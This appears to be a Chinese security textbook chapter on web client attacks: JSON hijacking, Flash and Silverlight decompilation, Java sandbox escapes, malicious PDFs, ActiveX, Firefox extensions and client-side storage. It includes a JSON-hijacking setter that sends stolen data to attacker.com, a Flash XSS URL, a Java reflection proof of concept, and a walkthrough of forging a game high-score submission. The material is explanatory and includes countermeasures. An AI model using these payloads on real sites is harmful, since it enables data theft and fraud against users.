这类攻击的基本前提是让Web客户执行攻击者所要求的代码,或者利用错误配置或设计缺陷,从漏洞中获利。从攻击者的角度上看,可执行内容有两个主要的注入点:
·实施中的漏洞
·设计缺陷
在进一步阅读关于本章介绍的漏洞利用之前,有一些问题需要留意。
攻击者总是必须让受害者查看包含漏洞利用代码的Web内容。过去最常见的方法是用电子邮件向受害者发送攻击者控制的一个URL。虽然现在仍然有这种现象,但是现代的Web2.0应用中兴起的用户生成内容(UGC)已经慢慢成为攻击者散布恶意软件的最重要方法之一。Google Trends显示,2004年以来最经常被搜索的词语是“歌词(Lyrics)”。攻击者利用恶意的搜索引擎优化(SEO)技术,将包含恶意软件的页面放置在Google常见词语和短句的搜索结果的最前面。这些技术导致了一些情况的发生,例如在2010年4月,标识为包含Lady Gaga歌词的网站被用于发起一种Java零日漏洞攻击,这种攻击通过路过式下载(Drive-by download)安装恶意软件。还有一个例子,在填写美国联邦所得税最后期限4月15日左右,网络犯罪集团确保Google查询“tax day freebies”(缴税日赠品)的第一个结果将受害者重定向到一个安装虚假的防病毒软件的网站。“参考与延伸阅读”中有一个这种攻击的演示视频供参考。和现实世界一样,虚拟世界中的罪犯也是机会主义者。
大部分这些漏洞的影响取决于受到攻击的Web客户端所运行的安全上下文。如果上下文是一个管理账户,那么通常能获得完全的系统控制。当然,侵害“普通”用户上下文也不会让攻击者失望,因为这个账户通常能够访问用户的私有数据。主要的浏览器供应商都试图解决这个漏洞,我们将在本章稍后的“低权限浏览”中介绍保护措施。
我们还要研究用户生成内容导致的以Web2.0设计为中心的网站上的新风险。我们将探索富互联网应用(RIA)带给客户浏览器的功能,以及利用这些应用漏洞的方法。最后,还将研究攻击者针对浏览器插件攻击的方法,以及这种攻击多于对传统浏览器缺陷的攻击的原因。
Web客户端实施漏洞
Web客户端漏洞(主要)是由无意识的错误比如拙劣的输入处理造成的。在20世纪90年代末和21世纪初,主要的浏览器中常常存在内存崩溃(Memory corruption)错误。现在,占据大部分市场份额的浏览器仍然是Microsoft Internet Explorer。Internet Explorer版本4、5和6导致用户攻击的许多实施缺陷已经为人熟知。2004年,Microsoft决定在新产品中实施安全开发生命周期(Secure Development Lifecycle,SDL)定义安全和隐私需求,解决这一问题。SDL需求禁止使用有导致内存崩溃漏洞危险的C和C++函数。后续发行的Internet Explorer 7和8版本已经在浏览器安全上取得了很大进步,与过去的版本相比严重的安全漏洞也更少。
加强浏览器开发过程的安全以及改进代码质量的努力取得了确实的成功,与此同时,近年来可以发现浏览器安全工作有了一些变化。新的浏览器特性如内建沙箱(Sandbox)和降低工作进程权限似乎成为了预防用户攻击的趋势。现代浏览器现在在一个沙箱中运行操作。沙箱在临时的存储空间中运行不可信的第三方代码,减少了试图修改系统组件的攻击造成的影响。此外,我们看到更多平台专用的攻击缓解技术,如DEP和ASLR。数据执行保护(Data Execution Prevention,DEP)阻止代码从不可执行的内存空间运行。地址空间布局随机化(Address Space Layout Randomization,ASLR)使用更难预测的内存地址,使内存攻击更加困难。另一个改进浏览器安全性的有利因素是补丁的可用性。Windows Update比以前更多地用在修补严重的IE缺陷。Firefox有一个集成的更新机制,在启动浏览器时提示用户安装新的更新。Chrome也有一个自动化更新,未经用户交互就部署不可见的更新。
然而,内存崩溃漏洞始终是个严重的威胁;现在,我们将把目光转向其他正在流行起来的客户端漏洞利用技术。浏览器安全当前状态的更多信息参见“参考与延伸阅读”小节。
Web 2.0漏洞
当前的Web 2.0开发方法致力于在客户端执行操作,减少服务器请求的数量,从而从用户的角度改进性能。但是,当开发人员不能在服务器上实现等价的业务逻辑时,在客户端上进行操作就会带来巨大的风险。例如,如果输入校验在客户端用JavaScript实现,那么在服务器端也必须进行。如果应用允许AJAX请求修改网页内容,开发人员必须实现一个全面的审核,确保敏感操作不会被滥用。在某些操作必须按照特定顺序进行(也称为事务)的场景下,服务器检查应该确保操作的顺序无误。如果没有任何服务器端的检查,攻击者可能使用自己的任意值集强迫重要的请求改变顺序。这个问题可以简单地归纳为一条著名的安全设计准则:“永远不要信任客户输入”。
随着Web上用户生成内容的爆炸式增长,允许用户直接向网站添加HTML的网站无疑会有更大的风险。用户能够在Web应用中创建永久的自定义或者标记,这种应用就更可能发动持续的跨站脚本攻击。结果是,恶意的用户可以操纵一个应用客户端赖以处理数据的用户定义或者系统功能。因为JavaScript是一种解释型语言,它实例化函数的最后版本。如果攻击者通过一个持续的XSS问题在网站上存储恶意的JavaScript,他就可以在缺乏正确的服务器端校验的情况下覆盖应用的功能。
恶意软件能够劫持JavaScript攻击JavaScript对象标记(JavaScript Object Notation,JSON)字符串是特别可怕的情况。JSON劫持是Web 2.0中相对新颖的风险。随着开发人员开始寻求轻量级的数据传输方法,许多人发现SOAP和XML过于冗长,而AJAX+JSON对于简短信息的传输是更好的机制。如果返回JSON数组的JSON服务和响应暴露在GET请求之中,攻击者可以尝试进行劫持。这种攻击与跨站请求伪造(CSRF)相似,但是更可怕,它能用于读取私有数据,而不是仅仅执行一种操作。
这种攻击通常使用<script>标记从服务器上请求一个JSON字符串,然后使用对象设置器重载技术捕捉实例化中的JavaScript对象。JSON是JavaScript标记的有效形式。下面是表示旅游数据的字符串示例:
[ { name: "Jessica", destination: "New York", date: "Nov 1, 2010" }, { name: "Chris", destination: "Pittsburgh", date: "June 25 2010" }, { name: "Oscar", destination: "Puerto Rico", date: "Sept 17, 2010" }, { name: "Sarah", destination: "New Zealand", date: "June 15, 2010" } ]
攻击者可以在向允许GET请求的JSON服务发出请求之前,定义如下的JavaScript:
Object.prototype.__defineSetter__("name", function(x) { var s = ""; for (f in this) { s += f + ": '" + this[f] + "', "; } s += "name: " + x; // send information to the attacker's server document.images[0].src="http://attacker.com/?data=" + s; });
浏览器解释返回的JSON字符串并且将其实例化为JavaScript对象,调用重载的设置器函数读取创建的对象。相似的技术可用于重载默认的数组构造器。在读取机密信息之后,恶意的JavaScript可以将其转发给攻击者的服务器。
JSON劫持对策
预防JSON劫持的最佳方法是使用POST代替GET,以及在所有JSON消息的开始处放置一个JavaScript,使劫持脚本进入无限循环。Google使用while(1)在许多服务上预防JSON劫持。
RIA漏洞
为了给Web带来更加类似于桌面的体验,许多网站实施了基于富互联网应用(RIA)的技术。主要Web开发商使用Adobe的Flash、Flex和AIR主宰这一市场。Microsoft以Silverlight,Google以Google Web Toolkit(GWT)进入RIA的竞争中。所有这些主流的RIA环境都结合了JavaScript交互和浏览器插件。接近98%的个人电脑安装了Adobe Flash Player。这么高的覆盖率使其成为了攻击者的理想目标。例如,在许多Flash广告里已经发现了恶意软件。2007年12月,当受害者访问The Economist、MLB.com、Canada.com、ESPN和Soccernet.com等主流网站时,横幅广告被用来劫持浏览器。
我们已经强调了没有合适的服务器端校验时客户端校验的风险。对于RIA开发人员和用户来说,同样需要了解的最重要的一点是,在他们的浏览器中的Flash或者Silverlight对象仍然在客户端上,也是影响其他客户端组件(如JavaScript)的所有风险的攻击对象。必须要理解,对于恶意用户来说,查看HTML页面源代码、下载引用的SWF文件、反汇编、并且在内容中搜寻敏感信息或者安全漏洞都是很容易的事情。
对Silverlight应用也一样。HTML源代码包含对一个XAP(发音为“zap”)文件的引用,这是一个可以解压的ZIP档案,.NET程序集的源代码可以使用反射查看。RIA应用中敏感信息泄露的盛行是显而易见的。试试Google搜索filetype:swf(inurl:admin OR inurl:login)。我们的搜索得到了大约280000个结果,其中大约有15%包含了明文形式的用户名和密码。对开发人员来说,另一个常见的风险是在RIA组件中放入加密相关的逻辑;风险同样来自客户端存储。下列的函数来自Cartoon Network网站上一个名为Zombie Hooker Nightmare的Flash游戏。过一段时间,网络在电视上播出《Adult Swim》剧集的时段张贴用户的姓名和最高分数。我们来研究提交最高分数的一段代码:
public static function submit(arg0:String, arg1:Number) : String { strURI = null; nGameId = null; nScore = NaN; nTime = NaN; strTime = null; strN1 = null; strN2 = null; n1 = NaN; n2 = NaN; nAlgo = NaN; strToPass = null; encrypted_data = null; submission_data = null; variables = null; request = null; gameID = arg0; score = arg1; try { strURI = ExternalInterface.call("getLittleServer"); nGameId = gameID; nScore = score; nTime = ExternalInterface.call("getSrvrTime"); strTime = toString(); strN1 = substr(253, 3); strN2 = substr(252, 3); n1 = parseInt(strN1); n2 = parseInt(strN2); nAlgo = n1 * n2 * nScore + nScore; strToPass = nGameId + "," + nScore + "," + nTime + "," + nAlgo; //********************** //********************** //********************** encrypted_data = MD5.hash(strToPass); submission_data = "score=" + nScore + "|gameId=" + nGameId + "|timestamp=" + nTime + "|key=" + encrypted_data; //********************** //********************** //********************** variables = new URLVariables(); variables.attr1 = submission_data; request = new URLRequest(strURI); request.data = variables; navigateToURL(request, "_self"); return submission_data; } catch (e:Error) { var loc1:* = e; gameID = null; } return null; }
encrypted_data变量是游戏ID、得分、时间戳和校验位的MD5 hash。接着,我们注意到submission_data的生成方式,所以伪造了一个请求,将我们的姓名和一个确定的高分发到了服务器。尽管这个示例本质上只是为了好玩,所做的只是剥夺了确实花费了很长时间赚到高分的人们短暂的荣耀,但这是攻击者使用应用的客户端RIA组件中找到的敏感信息操纵请求的极佳范例。想象一下,如果这个游戏不是一篇血腥的漫画,而是一个奖金很高的扑克游戏会发生什么情况。现在再想象一下在线扑克游戏在客户端SWF文件中暴露随机洗牌算法的情况。机智的用户能够研究算法的弱点,预测到自己会得到什么牌。再进一步,游戏者可以编写自己的客户端,指定自己得到的牌。有没有在网上玩Texas Hold抏m poker游戏的时候看到有人拿到5张A?现在你知道那个人是怎么做到的了。
可以对Silverlight对象进行相同类型的反汇编。在包含Silverlight对象的网页上,只要查看HTML源代码,并且寻找装入所需XAP文件的对象标记就可以了。XAP是用于基于Silverlight的应用程序包的文件扩展名。复制指向XAP文件的链接,粘贴到地址栏里。下载文件后,使用任何档案解压程序提取文件内容。XAP文件头指出这是一个简单的ZIP文件。XAP文件包含AppManifest.xm1文件,这个文件保存运行应用所必需的部署细节。
除了这个清单外,你还会找到一个或者多个DLL文件形式的.NET程序集。使用Red Gate Reflector工具(以前是Lutz Roeder的Reflector)可以窥探这些文件的内容。使用反射,该工具能够将.NET程序集反汇编为公共中间语言(CIL)——Microsoft.NET版本的ASM。CIL是所有高级语言(如C#或VB.NET)的基础,对于开发人员来说,CIL也能使Reflector显得更友好一些。
Reflector是一个具有丰富特性的工具,包含许多开发人员友好的插件。但是,一些插件可能用于邪恶的目的。Sebastien Lebreton开发的Reflexil插件,允许在CIL级别上快速修改程序集。这类似于旧的汇编破解工具中的情况:可以将如果相等则跳转(JE)改为如果不等则跳转(JNE),从而绕过许可证密钥注册表单。更多关于Reflexil的信息,参见“参考与延伸阅读”小节中引用的程序集操纵教程。
攻击者往往不需要修改程序集来听从他的指令。他很可能找到客户端上的DLL文件中存储的敏感信息,在对服务器的请求中采用这些信息进行权限提升或者绕过访问控制。下面的例子中发生的问题似乎总是重复出现——敏感信息存储在客户端:优惠券代码存储在JavaScript、Flash对象甚至Silverlight对象中。
2007年6月,这个漏洞使一位黑客得到了免费的苹果公司MacWorld会议的门票,这张门票价值1695美元。这些门票还包含了Steve Jobs主题演讲的座位优先权,在这个主题演讲中Jobs宣布了iPhone。本书的作者进行了许多渗透测试,偶然发现许多注册系统都包含了插入礼券代码的机会。这使得我们在脑海中对客户端的这些礼券代码进行了一番检查。我们遇到过这样一个案例,一个Silverlight对象接收信用卡应用的礼券代码。在Reflector中进一步检查时,verifyCode函数发现了一个用于与用户输入比较的SHA1 hash。图9-1演示了verifyCode函数的C#代码。
图9-1 Reflector显示一个礼券代码的SHA1 hash
将这个字节数组转换为SHA1 hash很简单。然后,你要做的就是进入一个hashcrack.com之类的网站查找明文值。在这个例子中,返回值是“freepass”,用户可以将它提交到网站激活折扣代码。
跨域攻击: 对于任何新流行的技术,总是在一段时间内采用这些技术的速度超过了开发社区深入理解相关风险的速度。特别是最新版本的Flash和Flex添加了改进的跨域交互支持,易用性的考虑优先于安全性。Flash和Silverlight应该遵守与JavaScript相同的基于同源策略的限制,也就是说各个浏览器插件不应该在没有明确许可的情况下向外部域发送HTTP请求(外部域通常定义为不同的DNS根域名,例如amazon.com和foo.com;对这种边界的攻击有很长的历史,在本书的前一版本中已作了介绍)。Flash和Silverlight在各自的安全策略文件中都指定了跨域许可,这些策略文件是XML文件,指定哪些域可以在没有警告和安全提示的情况访问。但是,这些文件支持通配符,这使得开发人员可以很容易地进行路由,启用全局访问。
攻击这个漏洞的最流行方法之一是跨域访问攻击。Flash仿照JavaScript建立同源策略模型,要求使用crossdomain.xml文件定义Web客户端(例如Flash对象)可以交换信息的网站。Adobe建议用户明确地定义有权限进行跨域通信的网站;但是,许多用户定义“Allow*”,表示来自任何域的访问。2006年,Jeremiah Grossman发现前100大网站中有6%具有未作限制的跨域策略。2008年中期,Jeremiah选择不同的网站,发现有7%的网站未作限制,而11%的策略中有*.domain.com。用关键词inurl:crossdomain.xml进行Google搜索找出许多网站具有未作限制的跨域策略。这种漏洞导致Web蠕虫攻击劫持账户,在允许用户生成内容的页面上放置Flash载荷。LiveJournal就是这种攻击的受害者,用户的博客帖子里放上了恶意的Flash对象,在其他用户查看受感染的帖子时,这个对象复制到其他用户的帖子上。
许多网站由于误用了Flash的getURL 函数而容易遭到XSS攻击。2008年底,超过800万个Flash文件被发现容易遭到这种XSS攻击。攻击者只要使用如下URL访问网站:
http://site/flash.swf?url=javascript:alert('XSS')
Twitter、WSJ、Yahoo!、Microsoft、Apple和PayPal等主流网站都被发现容易遭到通过Flash对象的JavaScript注入攻击。开发人员不应该允许指定全部的任意URL,而应该进行某种形式的校验,确保URL的开始是“http”。
Java漏洞
Sun Microsystem的Java编程模型主要是用来提供可移植的、可远程消费的软件应用。Java applet可以反汇编,客户可以用与Flash和Silverlight文件相似的方法查看它们的源代码和任何敏感的字符串或者逻辑。(Java反汇编的辅助工具参见“参考与延伸阅读”小节)。Java包含一个安全沙箱,阻止编程人员犯下导致安全问题(如缓冲区溢出)的错误。大部分这方面的特性可以阅读Java安全FAQ或者Java规范(参见“参考与延伸阅读”小节)做更详细的研究。理论上,这些机制都很难回避。但是在实践中,Java安全已经多次因为存在已久的实现未能遵循设计的问题而遭到破坏。
2004年11月,安全研究人员Jouko Pynnonen发布了关于允许浏览器运行Java applet的Sun Java插件中存在的一个毁灭性漏洞的通告。这个漏洞实际上允许恶意的网页禁用Java安全限制,逃出Java沙箱,实际上也就完全破坏了平台的安全性。Jouko发现了Java反射API的一个漏洞,这个漏洞允许访问受限的私有类库。下面是他的概念验证JavaScript,访问私有类sun.text.Utility:
[script language=javascript] var c=document.applets[0].getClass().forName('sun.text.Utility'); alert('got Class object: '+c) [/script]
这个问题的可怕之处在于私有类(除了Java applet以外)对JavaScript也是可访问的,这就提供了通过Web浏览器轻易地进行跨平台攻击的可能性。sun.text.Utility类本身没有什么价值,但是Jouko在通告中叙述道,攻击者可以实例化其他的私有类来产生真正的破坏——例如,得到对内存或者方法的直接访问,修改Java对象的私有域(这样可以禁用Java安全管理器)。
Jouko在2005年中期再度抓住了Java的漏洞,他报告了Java Web Start(用于简化Java应用客户端安装的一种技术)中的一个严重漏洞。在安装Java运行时引擎(JRE)时,IE之类的浏览器默认配置为自动打开定义Java运行时属性的JWS文件(这些文件扩展名为.jnlp)。只要在.jnlp文件中省略特定参数周围的引号,就能禁用Java沙箱,允许攻击者装入可能危害系统的恶意Java applet。Jouko提出了一个概念验证攻击,包括在一个恶意的Web服务器上部署的一个JNLP文件,这个文件在一个IFRAME中打开,避免了用户交互。然后这个JNLP文件替换攻击者的Web服务器上的任意安全策略文件,代替默认的Java安全沙箱。新的策略授予Java应用全部权限,包括启动独立于操作系统的二进制可执行文件。游戏结束。
可怕的是,这种漏洞利用在任何支持Java Web Start的平台上都有效,包括Windows上的IE或者Linux上的Mozilla Firefox或者Opera。更可怕的是,2010年Tavis Oramandy又发现了另一个Java Web Start远程代码执行漏洞。他发现javaws.exe浏览器插件不校验命令行参数。他还注意到一个未写入文档的隐藏命令行参数-XXaltjvm,这个参数命令Java从预期的路径装入替换的JavaVM(jvm.dll),这样就有可能设置-XXaltjvm=\\IP Address\Evil,导致javaws.exe装入一个邪恶的JVM。
许多严重的Java客户端漏洞围绕不可信数据的反串行化概念。这是一种客户端任意远程代码执行漏洞。串行化指的是打散一个对象,将其输出到文件或者一个套接字的过程。反串行化指的是将这个“打散”的对象组合起来。这在Java中大体是通过readObject()方法完成的。尽管许多远程代码执行漏洞围绕的是内存崩溃的概念,但是这个概念纯粹存在于Java实现中,根据相同的问题得到的漏洞利用程序无法在不同的操作系统上通行。
2008年8月份报告的一个声名狼藉的此类Java漏洞在同年12月份由Sun修复。但是,Mac OS X在2009年6月之前在自己的Java版本中未对这个漏洞进行修补。这种严重漏洞的扩大引起了安全社区的严重关注。该漏洞出现在java.util.Calendar类中。这是一个可串行化的类,在doPrivileged块中必须调用类的readObject()方法,因为sun.util.calendar包中的一个对象ZoneInfo将要进行反串行化。尽管ZoneInfo一般不可用(在一个applet的上下文中,一般不存在任何sun.*包),但是另一个对象可以代替ZoneInfo被读取和反串行化。
一个可能的攻击方向是创建一个ClassLoader子类。readObject()方法将反串行化任何对象,而不管它的设计意图面向的是何种对象。而java.lang.ClassLoader是不可串行化的,它可以扩展为可反串行化的类。这发生在ClassLoader的特权上下文中,因此很重要,实际上允许一个applet实现自己的ClassLoader,从而也就允许装入具有该用户的所有特权的新类。这种漏洞最早在2008年12月由Sami Koivu报告(完整公告的链接参见“参考与延伸阅读”小节)。
在2010年Sami Koivu还报告了相同问题的另一个漏洞;但是,在这种漏洞实例中,javax.management.remote.rmi.RMIConnectionImpl具有前面提到的Calendar类的相同问题。同样,使用错放的doPrivileged块和精巧制作的ClassLoader,就可能进行相同的权限提升。
客户端插件攻击
随着攻击者瞄准更多的插件,他们的关注点转向广泛安装的浏览器插件。符合攻击者要求的目标之一是浏览Web时用于阅读PDF的主应用程序。在Flash之后,Acrobat Reader可能是Adobe制作的最广泛安装的浏览器插件。攻击者创建恶意的PDF文件,然后通过Web散布。当未起疑心的受害者点击这个PDF时,执行JavaScript利用Adobe的JavaScript实现中的漏洞,用内存崩溃攻击注入外壳代码(Shell code)。SANS协会的互联网风暴中心(Internet Storm Center,ISC)在2010年1月报告,恶意PDF在全球范围内劫持PC。来自Symantec和Adobe产品安全事故响应团队(Product Security Incident Response Team,PSIRT)的研究人员发现这些漏洞相当复杂。通过使用一种egg-hunt外壳代码技术,当用户打开恶意的PDF时,攻击者能够可靠地攻击目标,获得对机器的控制。随着浏览器安全性的改进,攻击者将持续地进行逆向工程,研究流行插件的代码。
攻击者还将继续采用复杂的混淆技术阻止防病毒软件的发现。防病毒软件一般根据特征码进行工作。JavaScript恶意软件通常极力减少其足迹,或者包含改变结构的代码,避免被发现。可以预计,对于每个编写好的可用特征码,攻击者都编写了不会被发现的一个变种。这种攻击的成功率非常惊人。每个人都被迫在使用当今Web上最流行的文档格式和暴露在(可能相当严重的)安全风险之下两者之间做出选择。你认为最常见的选择是哪一个?
攻击者瞄准的另一个常见浏览器插件是Apple的QuickTime player。QuickTime很容易遭受多种利用其与服务器交互制作视频和音频流的漏洞攻击。例如,攻击者建立一个假造的播放列表,诱骗未起疑心的用户执行一个有目标的漏洞利用程序。针对QuickTime的这类插件攻击的危险性之一是它们不一定仅限于某个平台。2007年11月,安全研究人员公布了针对Mac和Windows操作系统的QuickTime插件漏洞利用程序的实例。这种针对QuickTime的实时流化协议响应首部的漏洞首先剖析系统内存的内部结构,确定在用的操作系统。然后发动操作系统专用的攻击,获得系统的控制权。即使用户采取所有预防措施锁定他们的浏览器,仍然可能遭到攻击。
滥用ActiveX
ActiveX从20世纪90年代中期出现以来就是安全辩论的中心,当时Fred McLain发布了一个远程关闭用户系统的ActiveX控件。ActiveX很容易用<OBJECT>标记嵌入HTML中,控件可以从远程网站和本地系统装入。这些控件可以以调用者的权限执行任何任务,变得异常强大,也就成为了攻击者的传统目标。Microsoft的Authenticode系统基于“可信”控件的数字签名,是对付恶意控件的主要安全措施。(更多关于ActiveX和Authenticode的信息参见“参考与延伸阅读”小节。)
传统上,攻击者集中关注受害者的Windows系统上预先安装的控件,因为这些控件已经通过验证,不需要向用户提示实例化。1999年中期,Georgi Guninski和Richard M.Smith等人报告,攻击者可能在不调用Authenticode的情况下,实例化标记为“脚本安全”的ActiveX控件。这增加了可用于恶意目的的ActiveX控件的攻击面。从攻击者的角度看,只要找到一个执行某些特权功能(例如读取内存或者写入磁盘文件)的预先安装ActiveX控件,就已经完成了漏洞利用的一半。表9-1列出了近来较为著名的一些遭到滥用的ActiveX控件。
Firefox扩展邪恶的一面
Firefox的扩展在功能上等价于IE的ActiveX控件。如果用户安装了一个恶意扩展,它就能做用户所能做的所有事情。Firefox扩展的安全模型和ActiveX也相当类似:最终用户决定是否安装一个扩展(你认为他们百分之百会选择哪一个?对了,就是:“让我看看这些跳舞的兔子!”)。可能遭到滥用的Firefox扩展的一个具体例子是azurit的FFsniFF,这个简单的Firefox扩展解析HTTP表单提交的非银行密码域,如果找到这种域,就将整个表单发送到攻击者定义的电子邮件地址(“参考与延伸阅读”小节中有一个FFsniFF的链接)。
Firefox扩展与IE扩展之间的主要差别在于,Windows机器上可能遭到攻击的ActiveX控件数量大得多,当然,随着Firefox扩展的流行,这种情况可能会改变。
警告 扩展在Windows和Linux上都是按照用户安装的。为了避免一个用户的扩展被劫持以攻击另一个用户,不要共享账户(例如使用kiosks或者lab computers),不要使用超级用户账户安装扩展。
表9-1 精选的ActiveX安全漏洞
XUL
XML用户界面语言(XUL,发音为“zool”)是一种用户界面标识语言,可以用于操纵Mozilla应用如Firefox和Thunderbird(Mozilla的电子邮件客户端)的各部分用户界面。有些人将XUL的安全后果比作IE中的LMZ,因为它定义了窗口、脚本和数据源等元素,这些元素存在实现漏洞时,可用于违反同源策略。
2006年,“moz_bug_r_a4”报告了XULDocument.persist()函数中的一个输入校验缺陷,这个缺陷允许在localstore.rdf文件中注入任意的XML和JavaScript代码,这些代码将在浏览器启动时以浏览器的权限执行。这个功能与IE LMZ脚本执行漏洞等价(但是Firefox浏览器必须重启)。
XUL还有混淆chrome Web内容的后果。例如,2004年中期,Jeff Smith报告Firefox不会限制网站包含所包含的任意远程XUL,这些XUL可用于劫持大部分用户界面(包括工具栏、SSL证书对话框、地址栏等),从而控制用户看见的几乎所有东西。控制Mozilla用户界面的这么多方面导致了使用欺骗性的窗口、对话框等迷惑用户的可能(参见接下来的9.2节“骗术”)。
客户端存储
客户端是存储数据的安全位置的说法完全是杜撰的。Web应用在客户端存储数据时暴露了许多安全风险。开发人员在敏感数据发送给客户端之后立刻放弃了对这些数据的管理和控制。不管数据是在cookie中传递还是存储在SQLite之类的客户端数据库,在发送到浏览器时都容易遭到操纵或者攻击。
HTTP cookie是客户端存储的原始形式。但是,因为cookie在每个请求和响应时都发送,所以很低效。现在,你已经理解了在cookie中存储敏感信息的风险以及各种可能发生的会话劫持方法。在这个小节里,我们将强调其他客户端存储方式的风险。
新的RIA技术通常自带某种方式的客户端存储。Flash和Silverlight都支持在客户端存储数据。和受限于4KB和关键字/值对形式的cookie不同,现代的客户端存储技术实际上是没有限制的,允许存储XML和复杂的数据类型。Flash使用本地共享对象(Local Shared Objects,LSO,也称Flash Cookie)作为客户端存储。许多浏览器现在实现一种私密浏览模式,避免网站跟踪用户。但是在2010年,许多恶意的网站开始使用LSO绕开这种模式提供的保护。
开发人员应该校验从LSO文件中读取的所有数据。修改客户端存储文件中存储的值是很简单的。Alexis Isaac的开源工具Sol Editor可以用于修改LSO。修改这些值使用户能够做出意料之外的反应,例如,许多网站尤其是成人网站,为可能的成员提供免费试用期。如图9-2所示,LSO可能包含一个日期值,使用Sol Editor可以操纵这个值使试用期变为永久。新的基于客户端技术快速发展,Google已经放弃了2007年5月31日发布的定制开发客户端存储方式。在发布不到3年之后,Google在2010年2月19日公告,将不会再发行任何新功能,而转向HTML 5规范的一部分——Web存储。这种技术又称DOM存储,使用globalStorage和sessionStorage JavaScript对象。globalStorage对象持续存储数据,超出了当前浏览器实例的生命期,而sessionStorage存储浏览器生命期或者选项卡会话期间内的数据。DOM存储的工作方式和在其他JavaScript对象中存储数据类似,你可以在例行操作中将它作为属性值读取。不同之处在于DOM存储使用SQLite为底层存储机制。SQLite是一种轻量级的数据库,可以用结构化查询语言查询,存在于客户端机器上的一个文件中。
Google Chrome浏览器打开新的窗口或者选项卡时会造成一种有趣的边信道信息泄露。Chorme显示最常访问的页面的一个缩略图。每当你输入URL直接访问一个页面,Chrome取得该页面的快照并且存储在客户端SQLite数据库中。遗憾的是,Chrome对SSL保护的页面也这么做——这些页面可能包含敏感信息。包含在线账户密码的用户电子邮件也就可能存储在一台未受保护的机器上的图像中。存储缩略图的SQLite数据库可在C:\Users\Rob\AppData\Local\Google\Chrome\User Data\Default\Thumbnails中找到。图9-3中,你可以看到SQLite Database Browser工具将图像存储为原始数据。
SQLite Database Browser工具让每个人都能研究存储在客户端SQLite数据库文件中的信息。开发人员应该加密或者保护任何敏感信息,或者让用户选择不使用客户端存储。图9-4中,你可以在Chrome中打开新选项卡时,看到来自用户的Gmail收件箱的个人信息和Flickr照片流。
图9-2 攻击者能够很容易地用Sol Editor工具修改LSO中的Trial Membership值
图9-3 数据域包含了在Chrome直接访问的每个页面图像的原始数据
图9-4 Chrome捕获的缩略图示例